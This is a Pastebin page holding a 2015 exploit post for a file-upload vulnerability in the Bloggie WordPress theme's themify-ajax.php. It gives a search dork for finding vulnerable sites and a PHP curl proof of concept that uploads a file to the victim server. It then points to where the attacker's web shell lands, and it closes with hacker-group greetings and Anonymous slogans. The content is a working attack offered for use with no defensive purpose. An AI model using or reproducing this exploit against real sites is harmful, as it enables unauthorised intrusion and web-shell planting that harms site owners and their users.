Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Wordpress Bloggies Hacked
- #Author: Google!
- #Date: 25/7/2015
- #Type : php, html, htm, asp, etc.
- #Category : Web Applications
- #Vulnerability : File Upload
- #Tested On : Windows 7 32-bit | Google Chrome
- #Dork : inurl:/wp-content/themes/Bloggie/ | USE YOUR BRAIN =))
- #Exploit : http://victim/[PATH]/wp-content/themes/Bloggie/themify/themify-ajax.php
- #POC :
- <?php
- $uploadfile="ReC0ded.php";
- $ch = curl_init("http://victim/[PATH]/wp-content/themes/Bloggie/themify/themify-ajax.php?upload=1");
- curl_setopt($ch, CURLOPT_POST, true);
- curl_setopt($ch, CURLOPT_POSTFIELDS,
- array('Filedata'=>"@$uploadfile"));
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
- $postResult = curl_exec($ch);
- curl_close($ch);
- print "$postResult";
- ?>
- #Results See Your Shell On : http://victim/[PATH]/wp-content/themes/Bloggie/uploads/{YOUR_FILE}.php
- #################### Say Yes ####################
- $Greetz To : World League Anonymous, International Hacker Team, Nano Hacked & Security Team
- $Thanks To : Phuồi Bình , Nguyễn Anh Kiệt , Tuấn Băng , Lê Quang Dũng , Hacker Phạm , Mozarella , Yurk , ...
- #Black Hat Team : Hacking & Security
- #Website: http://blackhat.com
- #Blog: http://blackhatteam95.blogspot.com
- #Email : info@blackhat.com
- ##############################
- ######We are anonymous########
- ######We are legion ########
- ######We don't forgive########
- ######We don't forget ########
- ######Expect us! ########
- ##############################
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement